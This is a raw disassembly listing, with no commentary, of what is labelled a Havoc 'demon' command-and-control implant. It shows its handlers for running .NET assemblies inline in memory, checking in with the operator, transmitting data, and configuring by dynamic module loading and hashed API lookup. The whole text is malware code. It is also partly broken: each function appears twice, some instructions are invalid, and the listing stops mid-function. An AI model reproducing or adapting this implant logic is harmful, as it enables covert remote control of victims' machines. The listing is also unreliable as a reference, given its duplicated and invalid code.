File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140009c50
140009c50CommandAssemblyInlineExecute:
140009c50push rbp
140009c51mov rbp, rsp
140009c54push r15
140009c56lea r15, [rip+0x1c3ab]
140009c5dpush r14
140009c5fpush r13
140009c61push r12
140009c63push rdi
140009c64push rsi
140009c65push rbx
140009c66and rsp, -16
140009c6asub rsp, 176
140009c71mov r12, [rip+0x226f8]
140009c78mov r13, [r12+2266]
140009c80test r13, r13
140009c83jne 0x140009f7f
140009c89mov rax, [r12+2230]
140009c91xor r8l, r8l
140009c94mov rbx, rcx
140009c97mov edx, 8
140009c9cmov [rsp+160], r8
140009ca4lea r14, [rsp+168]
140009cacmov rax, [rax+96]
140009cb0mov [rsp+168], r8
140009cb8mov r8l, 296
140009cbemov rcx, [rax+48]
140009cc2call [r12+316]
140009ccamov edx, [r12+8]
140009ccfxor r9l, r9l
140009cd2mov rcx, rbx
140009cd5mov [r12+2266], rax
140009cddmov [rax+256], r9l
140009ce4mov [rax], edx
140009ce6mov rdx, r14
140009ce9call ParserGetWString
140009ceemov rdx, [r12+2230]
140009cf6mov rsi, [r12+2266]
140009cfemov [rsp+160], rax
140009d06mov eax, [rsp+168]
140009d0dmov rdx, [rdx+96]
140009d11lea r8, [rax+2]
140009d15mov rcx, [rdx+48]
140009d19mov edx, 8
140009d1ecall [r12+316]
140009d26mov ecx, [rsp+168]
140009d2dmov rdx, r14
140009d30mov [rsi+8], rax
140009d34mov rax, [r12+2266]
140009d3cmov rsi, [rsp+160]
140009d44mov [rax+16], ecx
140009d47mov rax, [rax+8]
140009d4bmov rdi, rax
140009d4erep movsb [rdi], [rsi]
140009d50mov rcx, rbx
140009d53call ParserGetWString
140009d58mov rdx, [r12+2230]
140009d60mov rsi, [r12+2266]
140009d68mov [rsp+160], rax
140009d70mov eax, [rsp+168]
140009d77mov rdx, [rdx+96]
140009d7blea r8, [rax+2]
140009d7fmov rcx, [rdx+48]
140009d83mov edx, 8
140009d88call [r12+316]
140009d90mov ecx, [rsp+168]
140009d97mov rdx, r14
140009d9amov [rsi+24], rax
140009d9emov rax, [r12+2266]
140009da6mov rsi, [rsp+160]
140009daemov [rax+32], ecx
140009db1mov rax, [rax+24]
140009db5mov rdi, rax
140009db8rep movsb [rdi], [rsi]
140009dbamov rcx, rbx
140009dbdcall ParserGetWString
140009dc2mov rdx, [r12+2230]
140009dcamov rsi, [r12+2266]
140009dd2mov [rsp+160], rax
140009ddamov eax, [rsp+168]
140009de1mov rdx, [rdx+96]
140009de5lea r8, [rax+2]
140009de9mov rcx, [rdx+48]
140009dedmov edx, 8
140009df2call [r12+316]
140009dfamov ecx, [rsp+168]
140009e01mov [rsi+40], rax
140009e05mov rax, [r12+2266]
140009e0dmov rsi, [rsp+160]
140009e15mov [rax+48], ecx
140009e18mov rax, [rax+40]
140009e1cmov rdi, rax
140009e1frep movsb [rdi], [rsi]
140009e21mov rcx, rbx
140009e24call ParserGetInt32
140009e29mov ecx, eax
140009e2bmov [rsp+124], eax
140009e2fcall GetMemFile
140009e34mov r9l, [rsp+124]
140009e39test rax, rax
140009e3cje 0x140009e63
140009e3ecmp [rax+32], 0
140009e42je 0x140009e4d
140009e44mov r13, [rax+24]
140009e48mov esi, [rax+8]
140009e4bjmp 0x140009e7e
140009e4d
140009e4dloc_140009e4d:
140009e4dmov r8l, 1695
140009e53lea rdx, [rip+0x22ba6]
140009e5alea rcx, [rip+0x1c6eb]
140009e61jmp 0x140009e77
140009e63
140009e63loc_140009e63:
140009e63mov r8l, 1699
140009e69lea rdx, [rip+0x22b90]
140009e70lea rcx, [rip+0x1c705]
140009e77
140009e77loc_140009e77:
140009e77call printf
140009e7cxor esi, esi
140009e7e
140009e7eloc_140009e7e:
140009e7emov rcx, rbx
140009e81mov rdx, r14
140009e84call ParserGetWString
140009e89xor edx, edx
140009e8blea rcx, [rip+0x1d5ec]
140009e92mov r8l, 1705
140009e98mov rbx, rax
140009e9bmov rax, [r12+2266]
140009ea3mov r9l, [rax+16]
140009ea7mov [rsp+96], r13
140009eacmov [rsp+88], esi
140009eb0mov [rsp+80], rbx
140009eb5mov [rsp+72], edx
140009eb9mov rdx, [rax+40]
140009ebdmov [rsp+64], rdx
140009ec2mov edx, [rax+48]
140009ec5mov [rsp+56], edx
140009ec9mov rdx, [rax+24]
140009ecdmov [rsp+48], rdx
140009ed2mov edx, [rax+32]
140009ed5mov [rsp+40], edx
140009ed9mov rax, [rax+8]
140009eddlea rdx, [rip+0x22b1c]
140009ee4mov [rsp+32], rax
140009ee9call printf
140009eeexor ecx, ecx
140009ef0mov eax, esi
140009ef2mov [rsp+144], r13
140009efamov [rsp+136], rcx
140009f02lea rdx, [rsp+128]
140009f0alea rcx, [rsp+144]
140009f12mov [rsp+152], rax
140009f1amov [rsp+128], rbx
140009f22call DotnetExecute
140009f27test eax, eax
140009f29jne 0x140009f52
140009f2bmov ecx, 8193
140009f30call PackageCreate
140009f35mov edx, 5
140009f3amov rbx, rax
140009f3dmov rcx, rax
140009f40call PackageAddInt32
140009f45mov rcx, rbx
140009f48call PackageTransmit
140009f4dcall DotnetClose
140009f52
140009f52loc_140009f52:
140009f52mov rcx, r15
140009f55lea r9, [rip+0x1d5d5]
140009f5cmov r8l, 1728
140009f62lea rdx, [rip+0x22a97]
140009f69call printf
140009f6elea rsp, [rbp-56]
140009f72pop rbx
140009f73pop rsi
140009f74pop rdi
140009f75pop r12
140009f77pop r13
140009f79pop r14
140009f7bpop r15
140009f7dpop rbp
140009f7eret
140009f7f
140009f7floc_140009f7f:
140009f7flea rsp, [rbp-56]
140009f83mov rcx, r15
140009f86lea r9, [rip+0x1d5ca]
140009f8dmov r8l, 1732
140009f93pop rbx
140009f94lea rdx, [rip+0x22a65]
140009f9bpop rsi
140009f9cpop rdi
140009f9dpop r12
140009f9fpop r13
140009fa1pop r14
140009fa3pop r15
140009fa5pop rbp
140009fa6jmp 0x140022bf0
140009c50
140009c50CommandAssemblyInlineExecute:
140009c50push rbp
140009c51mov rbp, rsp
140009c54push r15
140009c56lea r15, [rip+0x1c3ab]
140009c5dpush r14
140009c5fpush r13
140009c61push r12
140009c63push rdi
140009c64push rsi
140009c65push rbx
140009c66and rsp, -16
140009c6asub rsp, 176
140009c71mov r12, [rip+0x226f8]
140009c78mov r13, [r12+2266]
140009c80test r13, r13
140009c83jne 0x140009f7f
140009c89mov rax, [r12+2230]
140009c91xor r8l, r8l
140009c94mov rbx, rcx
140009c97mov edx, 8
140009c9cmov [rsp+160], r8
140009ca4lea r14, [rsp+168]
140009cacmov rax, [rax+96]
140009cb0mov [rsp+168], r8
140009cb8mov r8l, 296
140009cbemov rcx, [rax+48]
140009cc2call [r12+316]
140009ccamov edx, [r12+8]
140009ccfxor r9l, r9l
140009cd2mov rcx, rbx
140009cd5mov [r12+2266], rax
140009cddmov [rax+256], r9l
140009ce4mov [rax], edx
140009ce6mov rdx, r14
140009ce9call ParserGetWString
140009ceemov rdx, [r12+2230]
140009cf6mov rsi, [r12+2266]
140009cfemov [rsp+160], rax
140009d06mov eax, [rsp+168]
140009d0dmov rdx, [rdx+96]
140009d11lea r8, [rax+2]
140009d15mov rcx, [rdx+48]
140009d19mov edx, 8
140009d1ecall [r12+316]
140009d26mov ecx, [rsp+168]
140009d2dmov rdx, r14
140009d30mov [rsi+8], rax
140009d34mov rax, [r12+2266]
140009d3cmov rsi, [rsp+160]
140009d44mov [rax+16], ecx
140009d47mov rax, [rax+8]
140009d4bmov rdi, rax
140009d4erep movsb [rdi], [rsi]
140009d50mov rcx, rbx
140009d53call ParserGetWString
140009d58mov rdx, [r12+2230]
140009d60mov rsi, [r12+2266]
140009d68mov [rsp+160], rax
140009d70mov eax, [rsp+168]
140009d77mov rdx, [rdx+96]
140009d7blea r8, [rax+2]
140009d7fmov rcx, [rdx+48]
140009d83mov edx, 8
140009d88call [r12+316]
140009d90mov ecx, [rsp+168]
140009d97mov rdx, r14
140009d9amov [rsi+24], rax
140009d9emov rax, [r12+2266]
140009da6mov rsi, [rsp+160]
140009daemov [rax+32], ecx
140009db1mov rax, [rax+24]
140009db5mov rdi, rax
140009db8rep movsb [rdi], [rsi]
140009dbamov rcx, rbx
140009dbdcall ParserGetWString
140009dc2mov rdx, [r12+2230]
140009dcamov rsi, [r12+2266]
140009dd2mov [rsp+160], rax
140009ddamov eax, [rsp+168]
140009de1mov rdx, [rdx+96]
140009de5lea r8, [rax+2]
140009de9mov rcx, [rdx+48]
140009dedmov edx, 8
140009df2call [r12+316]
140009dfamov ecx, [rsp+168]
140009e01mov [rsi+40], rax
140009e05mov rax, [r12+2266]
140009e0dmov rsi, [rsp+160]
140009e15mov [rax+48], ecx
140009e18mov rax, [rax+40]
140009e1cmov rdi, rax
140009e1frep movsb [rdi], [rsi]
140009e21mov rcx, rbx
140009e24call ParserGetInt32
140009e29mov ecx, eax
140009e2bmov [rsp+124], eax
140009e2fcall GetMemFile
140009e34mov r9l, [rsp+124]
140009e39test rax, rax
140009e3cje 0x140009e63
140009e3ecmp [rax+32], 0
140009e42je 0x140009e4d
140009e44mov r13, [rax+24]
140009e48mov esi, [rax+8]
140009e4bjmp 0x140009e7e
140009e4d
140009e4dloc_140009e4d:
140009e4dmov r8l, 1695
140009e53lea rdx, [rip+0x22ba6]
140009e5alea rcx, [rip+0x1c6eb]
140009e61jmp 0x140009e77
140009e63
140009e63loc_140009e63:
140009e63mov r8l, 1699
140009e69lea rdx, [rip+0x22b90]
140009e70lea rcx, [rip+0x1c705]
140009e77
140009e77loc_140009e77:
140009e77call printf
140009e7cxor esi, esi
140009e7e
140009e7eloc_140009e7e:
140009e7emov rcx, rbx
140009e81mov rdx, r14
140009e84call ParserGetWString
140009e89xor edx, edx
140009e8blea rcx, [rip+0x1d5ec]
140009e92mov r8l, 1705
140009e98mov rbx, rax
140009e9bmov rax, [r12+2266]
140009ea3mov r9l, [rax+16]
140009ea7mov [rsp+96], r13
140009eacmov [rsp+88], esi
140009eb0mov [rsp+80], rbx
140009eb5mov [rsp+72], edx
140009eb9mov rdx, [rax+40]
140009ebdmov [rsp+64], rdx
140009ec2mov edx, [rax+48]
140009ec5mov [rsp+56], edx
140009ec9mov rdx, [rax+24]
140009ecdmov [rsp+48], rdx
140009ed2mov edx, [rax+32]
140009ed5mov [rsp+40], edx
140009ed9mov rax, [rax+8]
140009eddlea rdx, [rip+0x22b1c]
140009ee4mov [rsp+32], rax
140009ee9call printf
140009eeexor ecx, ecx
140009ef0mov eax, esi
140009ef2mov [rsp+144], r13
140009efamov [rsp+136], rcx
140009f02lea rdx, [rsp+128]
140009f0alea rcx, [rsp+144]
140009f12mov [rsp+152], rax
140009f1amov [rsp+128], rbx
140009f22call DotnetExecute
140009f27test eax, eax
140009f29jne 0x140009f52
140009f2bmov ecx, 8193
140009f30call PackageCreate
140009f35mov edx, 5
140009f3amov rbx, rax
140009f3dmov rcx, rax
140009f40call PackageAddInt32
140009f45mov rcx, rbx
140009f48call PackageTransmit
140009f4dcall DotnetClose
140009f52
140009f52loc_140009f52:
140009f52mov rcx, r15
140009f55lea r9, [rip+0x1d5d5]
140009f5cmov r8l, 1728
140009f62lea rdx, [rip+0x22a97]
140009f69call printf
140009f6elea rsp, [rbp-56]
140009f72pop rbx
140009f73pop rsi
140009f74pop rdi
140009f75pop r12
140009f77pop r13
140009f79pop r14
140009f7bpop r15
140009f7dpop rbp
140009f7eret
140009f7f
140009f7floc_140009f7f:
140009f7flea rsp, [rbp-56]
140009f83mov rcx, r15
140009f86lea r9, [rip+0x1d5ca]
140009f8dmov r8l, 1732
140009f93pop rbx
140009f94lea rdx, [rip+0x22a65]
140009f9bpop rsi
140009f9cpop rdi
140009f9dpop r12
140009f9fpop r13
140009fa1pop r14
140009fa3pop r15
140009fa5pop rbp
140009fa6jmp 0x140022bf0
140009c50
140009fab
140009fab // align 0x10
140009fab // align 0x10
140009fb0
140009fb0CommandAssemblyListVersion:
140009fb0push r15
140009fb2mov ecx, 8195
140009fb7push r14
140009fb9push r13
140009fbbpush r12
140009fbdpush rbp
140009fbepush rdi
140009fbfpush rsi
140009fc0push rbx
140009fc1xor ebx, ebx
140009fc3sub rsp, 88
140009fc7call PackageCreate
140009fccmov [rsp+56], rbx
140009fd1mov rbp, [rip+0x22398]
140009fd8lea r8, [rsp+56]
140009fddmov [rsp+64], rbx
140009fe2mov rdx, [rip+0x22587]
140009fe9mov rdi, rax
140009fecmov rcx, [rip+0x2256d]
140009ff3call [rbp+1276]
140009ff9test eax, eax
140009ffbjne 0x14000a12a
14000a001mov rcx, [rsp+56]
14000a006lea rdx, [rsp+64]
14000a00bmov rax, [rcx]
14000a00ecall [rax+40]
14000a011test eax, eax
14000a013jne 0x14000a11b
14000a019xor r11l, r11l
14000a01cxor ebx, ebx
14000a01elea r14, [rsp+52]
14000a023mov [rsp+48], r11l
14000a028lea r13, [rip+0x22951]
14000a02flea r12, [rip+0x1bfd2]
14000a036
14000a036loc_14000a036:
14000a036mov rcx, [rsp+64]
14000a03bxor r9l, r9l
14000a03exor r10l, r10l
14000a041lea r8, [rsp+72]
14000a046mov [rsp+72], r9
14000a04bmov edx, 1
14000a050mov r9, r14
14000a053mov rax, [rcx]
14000a056mov [rsp+52], r10l
14000a05bcall [rax+24]
14000a05etest eax, eax
14000a060jne 0x14000a10f
14000a066mov rbx, [rsp+72]
14000a06blea r15, [rsp+48]
14000a070xor edx, edx
14000a072mov r8, r15
14000a075mov rax, [rbx]
14000a078mov rcx, rbx
14000a07bcall [rax+24]
14000a07ecmp eax, 0xffffffff8007007a
14000a083jne 0x14000a0f2
14000a085mov edx, [rsp+48]
14000a089test edx, edx
14000a08bje 0x14000a0f2
14000a08dmov ecx, 64
14000a092call [rbp+932]
14000a098mov r8, r15
14000a09bmov rcx, rbx
14000a09emov rsi, rax
14000a0a1mov rax, [rbx]
14000a0a4mov rdx, rsi
14000a0a7call [rax+24]
14000a0aatest eax, eax
14000a0acjne 0x14000a0dc
14000a0aemov [rsp+32], rsi
14000a0b3mov r9l, [rsp+48]
14000a0b8lea rdx, [rip+0x228c1]
14000a0bflea rcx, [rip+0x1c14d]
14000a0c6mov r8l, 1762
14000a0cccall printf
14000a0d1mov rdx, rsi
14000a0d4mov rcx, rdi
14000a0d7call PackageAddWString
14000a0dc
14000a0dcloc_14000a0dc:
14000a0dcmov rcx, rsi
14000a0dfcall [rbp+940]
14000a0e5xor r8l, r8l
14000a0e8mov [rsp+48], r8l
14000a0edjmp 0x14000a036
14000a0f2
14000a0f2loc_14000a0f2:
14000a0f2lea r9, [rip+0x1c13e]
14000a0f9mov r8l, 1771
14000a0ffmov rdx, r13
14000a102mov rcx, r12
14000a105call printf
14000a10ajmp 0x14000a036
14000a10f
14000a10floc_14000a10f:
14000a10fmov rcx, [rsp+56]
14000a114test rcx, rcx
14000a117jne 0x14000a16f
14000a119jmp 0x14000a17c
14000a11b
14000a11bloc_14000a11b:
14000a11blea r9, [rip+0x1c12f]
14000a122mov r8l, 1777
14000a128jmp 0x14000a137
14000a12a
14000a12aloc_14000a12a:
14000a12alea r9, [rip+0x1c134]
14000a131mov r8l, 1780
14000a137
14000a137loc_14000a137:
14000a137lea rcx, [rip+0x1beca]
14000a13elea rdx, [rip+0x2283b]
14000a145xor ebx, ebx
14000a147call printf
14000a14cmov rcx, [rsp+56]
14000a151test rcx, rcx
14000a154jne 0x14000a16f
14000a156mov rcx, [rsp+64]
14000a15btest rcx, rcx
14000a15eje 0x14000a1a1
14000a160mov rax, [rcx]
14000a163call [rax+16]
14000a166xor ecx, ecx
14000a168mov [rsp+64], rcx
14000a16djmp 0x14000a1a1
14000a16f
14000a16floc_14000a16f:
14000a16fmov rax, [rcx]
14000a172call [rax+16]
14000a175xor edx, edx
14000a177mov [rsp+56], rdx
14000a17c
14000a17cloc_14000a17c:
14000a17cmov rcx, [rsp+64]
14000a181test rcx, rcx
14000a184je 0x14000a193
14000a186mov rax, [rcx]
14000a189call [rax+16]
14000a18cxor eax, eax
14000a18emov [rsp+64], rax
14000a193
14000a193loc_14000a193:
14000a193test rbx, rbx
14000a196je 0x14000a1a1
14000a198mov rax, [rbx]
14000a19bmov rcx, rbx
14000a19ecall [rax+16]
14000a1a1
14000a1a1loc_14000a1a1:
14000a1a1mov rcx, rdi
14000a1a4call PackageTransmit
14000a1a9add rsp, 88
14000a1adpop rbx
14000a1aepop rsi
14000a1afpop rdi
14000a1b0pop rbp
14000a1b1pop r12
14000a1b3pop r13
14000a1b5pop r14
14000a1b7pop r15
14000a1b9ret
140009fb0
140009fb0CommandAssemblyListVersion:
140009fb0push r15
140009fb2mov ecx, 8195
140009fb7push r14
140009fb9push r13
140009fbbpush r12
140009fbdpush rbp
140009fbepush rdi
140009fbfpush rsi
140009fc0push rbx
140009fc1xor ebx, ebx
140009fc3sub rsp, 88
140009fc7call PackageCreate
140009fccmov [rsp+56], rbx
140009fd1mov rbp, [rip+0x22398]
140009fd8lea r8, [rsp+56]
140009fddmov [rsp+64], rbx
140009fe2mov rdx, [rip+0x22587]
140009fe9mov rdi, rax
140009fecmov rcx, [rip+0x2256d]
140009ff3call [rbp+1276]
140009ff9test eax, eax
140009ffbjne 0x14000a12a
14000a001mov rcx, [rsp+56]
14000a006lea rdx, [rsp+64]
14000a00bmov rax, [rcx]
14000a00ecall [rax+40]
14000a011test eax, eax
14000a013jne 0x14000a11b
14000a019xor r11l, r11l
14000a01cxor ebx, ebx
14000a01elea r14, [rsp+52]
14000a023mov [rsp+48], r11l
14000a028lea r13, [rip+0x22951]
14000a02flea r12, [rip+0x1bfd2]
14000a036
14000a036loc_14000a036:
14000a036mov rcx, [rsp+64]
14000a03bxor r9l, r9l
14000a03exor r10l, r10l
14000a041lea r8, [rsp+72]
14000a046mov [rsp+72], r9
14000a04bmov edx, 1
14000a050mov r9, r14
14000a053mov rax, [rcx]
14000a056mov [rsp+52], r10l
14000a05bcall [rax+24]
14000a05etest eax, eax
14000a060jne 0x14000a10f
14000a066mov rbx, [rsp+72]
14000a06blea r15, [rsp+48]
14000a070xor edx, edx
14000a072mov r8, r15
14000a075mov rax, [rbx]
14000a078mov rcx, rbx
14000a07bcall [rax+24]
14000a07ecmp eax, 0xffffffff8007007a
14000a083jne 0x14000a0f2
14000a085mov edx, [rsp+48]
14000a089test edx, edx
14000a08bje 0x14000a0f2
14000a08dmov ecx, 64
14000a092call [rbp+932]
14000a098mov r8, r15
14000a09bmov rcx, rbx
14000a09emov rsi, rax
14000a0a1mov rax, [rbx]
14000a0a4mov rdx, rsi
14000a0a7call [rax+24]
14000a0aatest eax, eax
14000a0acjne 0x14000a0dc
14000a0aemov [rsp+32], rsi
14000a0b3mov r9l, [rsp+48]
14000a0b8lea rdx, [rip+0x228c1]
14000a0bflea rcx, [rip+0x1c14d]
14000a0c6mov r8l, 1762
14000a0cccall printf
14000a0d1mov rdx, rsi
14000a0d4mov rcx, rdi
14000a0d7call PackageAddWString
14000a0dc
14000a0dcloc_14000a0dc:
14000a0dcmov rcx, rsi
14000a0dfcall [rbp+940]
14000a0e5xor r8l, r8l
14000a0e8mov [rsp+48], r8l
14000a0edjmp 0x14000a036
14000a0f2
14000a0f2loc_14000a0f2:
14000a0f2lea r9, [rip+0x1c13e]
14000a0f9mov r8l, 1771
14000a0ffmov rdx, r13
14000a102mov rcx, r12
14000a105call printf
14000a10ajmp 0x14000a036
14000a10f
14000a10floc_14000a10f:
14000a10fmov rcx, [rsp+56]
14000a114test rcx, rcx
14000a117jne 0x14000a16f
14000a119jmp 0x14000a17c
14000a11b
14000a11bloc_14000a11b:
14000a11blea r9, [rip+0x1c12f]
14000a122mov r8l, 1777
14000a128jmp 0x14000a137
14000a12a
14000a12aloc_14000a12a:
14000a12alea r9, [rip+0x1c134]
14000a131mov r8l, 1780
14000a137
14000a137loc_14000a137:
14000a137lea rcx, [rip+0x1beca]
14000a13elea rdx, [rip+0x2283b]
14000a145xor ebx, ebx
14000a147call printf
14000a14cmov rcx, [rsp+56]
14000a151test rcx, rcx
14000a154jne 0x14000a16f
14000a156mov rcx, [rsp+64]
14000a15btest rcx, rcx
14000a15eje 0x14000a1a1
14000a160mov rax, [rcx]
14000a163call [rax+16]
14000a166xor ecx, ecx
14000a168mov [rsp+64], rcx
14000a16djmp 0x14000a1a1
14000a16f
14000a16floc_14000a16f:
14000a16fmov rax, [rcx]
14000a172call [rax+16]
14000a175xor edx, edx
14000a177mov [rsp+56], rdx
14000a17c
14000a17cloc_14000a17c:
14000a17cmov rcx, [rsp+64]
14000a181test rcx, rcx
14000a184je 0x14000a193
14000a186mov rax, [rcx]
14000a189call [rax+16]
14000a18cxor eax, eax
14000a18emov [rsp+64], rax
14000a193
14000a193loc_14000a193:
14000a193test rbx, rbx
14000a196je 0x14000a1a1
14000a198mov rax, [rbx]
14000a19bmov rcx, rbx
14000a19ecall [rax+16]
14000a1a1
14000a1a1loc_14000a1a1:
14000a1a1mov rcx, rdi
14000a1a4call PackageTransmit
14000a1a9add rsp, 88
14000a1adpop rbx
14000a1aepop rsi
14000a1afpop rdi
14000a1b0pop rbp
14000a1b1pop r12
14000a1b3pop r13
14000a1b5pop r14
14000a1b7pop r15
14000a1b9ret
140009fb0
14000a1ba
14000a1ba // align 0x10
14000a1ba // align 0x10
14000a1c0
14000a1c0CommandCheckin:
14000a1c0sub rsp, 56
14000a1c4lea r9, [rip+0x1be35]
14000a1cbmov r8l, 171
14000a1d1lea rdx, [rip+0x22c58]
14000a1d8lea rcx, [rip+0x1be29]
14000a1dfcall printf
14000a1e4mov ecx, 100
14000a1e9call PackageCreate
14000a1eelea rcx, [rsp+40]
14000a1f3xor edx, edx
14000a1f5mov [rsp+40], rax
14000a1facall DemonMetaData
14000a1ffmov rcx, [rsp+40]
14000a204call PackageTransmit
14000a209add rsp, 56
14000a20dret
14000a1c0
14000a1c0CommandCheckin:
14000a1c0sub rsp, 56
14000a1c4lea r9, [rip+0x1be35]
14000a1cbmov r8l, 171
14000a1d1lea rdx, [rip+0x22c58]
14000a1d8lea rcx, [rip+0x1be29]
14000a1dfcall printf
14000a1e4mov ecx, 100
14000a1e9call PackageCreate
14000a1eelea rcx, [rsp+40]
14000a1f3xor edx, edx
14000a1f5mov [rsp+40], rax
14000a1facall DemonMetaData
14000a1ffmov rcx, [rsp+40]
14000a204call PackageTransmit
14000a209add rsp, 56
14000a20dret
14000a1c0
14000a20e
14000a20e // align 0x10
14000a20e // align 0x10
14000a210
14000a210CommandConfig:
14000a210push r13
14000a212push r12
14000a214push rbp
14000a215push rdi
14000a216push rsi
14000a217mov rsi, rcx
14000a21amov ecx, 2500
14000a21fpush rbx
14000a220sub rsp, 72
14000a224call PackageCreate
14000a229mov rcx, rsi
14000a22cmov rbx, rax
14000a22fcall ParserGetInt32
14000a234mov rcx, rbx
14000a237mov edi, eax
14000a239mov edx, edi
14000a23bcall PackageAddInt32
14000a240cmp edi, 102
14000a243je 0x14000a451
14000a249jg 0x14000a296
14000a24bcmp edi, 7
14000a24ejg 0x14000a271
14000a250test edi, edi
14000a252js 0x14000a783
14000a258cmp edi, 7
14000a25bja 0x14000a783
14000a261lea rdx, [rip+0x1cd68]
14000a268movsxd rax, [rdx+4*rdi]
14000a26cadd rax, rdx
14000a26fjmp rax
14000a271
14000a271loc_14000a271:
14000a271cmp edi, 101
14000a274jne 0x14000a783
14000a27amov rcx, rsi
14000a27dcall ParserGetInt32
14000a282mov edx, eax
14000a284mov rax, [rip+0x220e5]
14000a28bmov [rax+248], edx
14000a291jmp 0x14000a785
14000a296
14000a296loc_14000a296:
14000a296sub edi, 150
14000a29ccmp edi, 5
14000a29fja 0x14000a783
14000a2a5lea rdx, [rip+0x1cd44]
14000a2acmovsxd rax, [rdx+4*rdi]
14000a2b0add rax, rdx
14000a2b3jmp rax
14000a2b5xor r10l, r10l
14000a2b8mov rcx, rsi
14000a2bblea rdx, [rsp+56]
14000a2c0mov [rsp+56], r10l
14000a2c5lea r12, [rip+0x231b4]
14000a2ccmov [rsp+60], r10l
14000a2d1call ParserGetString
14000a2d6lea rdx, [rsp+60]
14000a2dbmov rcx, rsi
14000a2demov rdi, rax
14000a2e1call ParserGetString
14000a2e6mov rcx, rsi
14000a2e9mov rbp, rax
14000a2eccall ParserGetInt32
14000a2f1mov r9, rdi
14000a2f4mov rdx, r12
14000a2f7mov r8l, 1826
14000a2fdlea rcx, [rip+0x1cb10]
14000a304mov esi, eax
14000a306call printf
14000a30bmov r9, rbp
14000a30emov rdx, r12
14000a311mov r8l, 1827
14000a317lea rcx, [rip+0x1cb16]
14000a31ecall printf
14000a323mov r9l, esi
14000a326mov rdx, r12
14000a329mov r8l, 1828
14000a32flea rcx, [rip+0x1cb1e]
14000a336call printf
14000a33btest rdi, rdi
14000a33eje 0x14000a5ac
14000a344mov rcx, rdi
14000a347call LdrModuleLoad
14000a34cmov r8l, 1835
14000a352mov rdx, r12
14000a355lea rcx, [rip+0x1cb16]
14000a35cmov r13, rax
14000a35fmov r9, rax
14000a362call printf
14000a367test r13, r13
14000a36aje 0x14000a59d
14000a370mov rcx, rbp
14000a373call HashStringA
14000a378mov rcx, r13
14000a37bmov edx, eax
14000a37dcall LdrFunctionAddr
14000a382mov r9, rax
14000a385test rax, rax
14000a388je 0x14000a39d
14000a38aadd rsi, rax
14000a38dmov rax, [rip+0x21fdc]
14000a394mov [rax+228], rsi
14000a39bjmp 0x14000a3b6
14000a39d
14000a39dloc_14000a39d:
14000a39dmov edx, 1
14000a3a2mov ecx, 1
14000a3a7mov [rsp+40], rax
14000a3accall PackageTransmitError
14000a3b1mov r9, [rsp+40]
14000a3b6
14000a3b6loc_14000a3b6:
14000a3b6mov r8l, 1846
14000a3bcjmp 0x14000a58c
14000a3c1mov rcx, rsi
14000a3c4call ParserGetInt32
14000a3c9mov rsi, [rip+0x21fa0]
14000a3d0lea rdx, [rip+0x230a9]
14000a3d7mov r8l, 1861
14000a3ddmov r9l, eax
14000a3e0lea rcx, [rip+0x1cac9]
14000a3e7mov [rsi+210], eax
14000a3edcall printf
14000a3f2mov edx, [rsi+210]
14000a3f8jmp 0x14000a785
14000a3fdmov rcx, rsi
14000a400call ParserGetInt32
14000a405mov edx, eax
14000a407mov rax, [rip+0x21f62]
14000a40emov [rax+224], edx
14000a414jmp 0x14000a785
14000a419mov rcx, rsi
14000a41ccall ParserGetInt32
14000a421mov edx, eax
14000a423mov rax, [rip+0x21f46]
14000a42amov [rax+240], edx
14000a430jmp 0x14000a785
14000a435mov rcx, rsi
14000a438call ParserGetInt32
14000a43dmov edx, eax
14000a43fmov rax, [rip+0x21f2a]
14000a446mov [rax+236], edx
14000a44cjmp 0x14000a785
14000a451
14000a451loc_14000a451:
14000a451mov rcx, rsi
14000a454call ParserGetInt32
14000a459mov edx, eax
14000a45bmov rax, [rip+0x21f0e]
14000a462mov [rax+252], edx
14000a468jmp 0x14000a785
14000a46dmov rcx, rsi
14000a470call ParserGetInt32
14000a475mov edx, eax
14000a477mov rax, [rip+0x21ef2]
14000a47emov [rax+272], edx
14000a484jmp 0x14000a785
14000a489xor r9l, r9l
14000a48cmov rcx, rsi
14000a48flea rdx, [rsp+56]
14000a494mov [rsp+56], r9l
14000a499lea r12, [rip+0x22fe0]
14000a4a0mov [rsp+60], r9l
14000a4a5call ParserGetString
14000a4aalea rdx, [rsp+60]
14000a4afmov rcx, rsi
14000a4b2mov rdi, rax
14000a4b5call ParserGetString
14000a4bamov rcx, rsi
14000a4bdmov rbp, rax
14000a4c0call ParserGetInt32
14000a4c5mov r9, rdi
14000a4c8mov rdx, r12
14000a4cbmov r8l, 1917
14000a4d1lea rcx, [rip+0x1c93c]
14000a4d8mov esi, eax
14000a4dacall printf
14000a4dfmov r9, rbp
14000a4e2mov rdx, r12
14000a4e5mov r8l, 1918
14000a4eblea rcx, [rip+0x1c942]
14000a4f2call printf
14000a4f7mov r9l, esi
14000a4famov rdx, r12
14000a4fdmov r8l, 1919
14000a503lea rcx, [rip+0x1c94a]
14000a50acall printf
14000a50ftest rdi, rdi
14000a512je 0x14000a5ac
14000a518mov rcx, rdi
14000a51bcall LdrModuleLoad
14000a520mov r8l, 1927
14000a526mov rdx, r12
14000a529lea rcx, [rip+0x1c942]
14000a530mov r13, rax
14000a533mov r9, rax
14000a536call printf
14000a53btest r13, r13
14000a53eje 0x14000a59d
14000a540mov rcx, rbp
14000a543call HashStringA
14000a548mov rcx, r13
14000a54bmov edx, eax
14000a54dcall LdrFunctionAddr
14000a552mov r9, rax
14000a555test rax, rax
14000a558je 0x14000a56d
14000a55aadd rsi, rax
14000a55dmov rax, [rip+0x21e0c]
14000a564mov [rax+276], rsi
14000a56bjmp 0x14000a586
14000a56d
14000a56dloc_14000a56d:
14000a56dmov edx, 1
14000a572mov ecx, 1
14000a577mov [rsp+40], rax
14000a57ccall PackageTransmitError
14000a581mov r9, [rsp+40]
14000a586
14000a586loc_14000a586:
14000a586mov r8l, 1939
14000a58c
14000a58cloc_14000a58c:
14000a58cmov rdx, r12
14000a58flea rcx, [rip+0x1c8f8]
14000a596call printf
14000a59bjmp 0x14000a5ac
14000a59d
14000a59dloc_14000a59d:
14000a59dmov edx, 126
14000a5a2mov ecx, 1
14000a5a7call PackageTransmitError
14000a5ac
14000a5acloc_14000a5ac:
14000a5acmov rdx, rdi
14000a5afmov rcx, rbx
14000a5b2call PackageAddString
14000a5b7mov rdx, rbp
14000a5bamov rcx, rbx
14000a5bdcall PackageAddString
14000a5c2jmp 0x14000a78d
14000a5c7mov rbp, [rip+0x21da2]
14000a5cexor r8l, r8l
14000a5d1mov [rsp+60], r8l
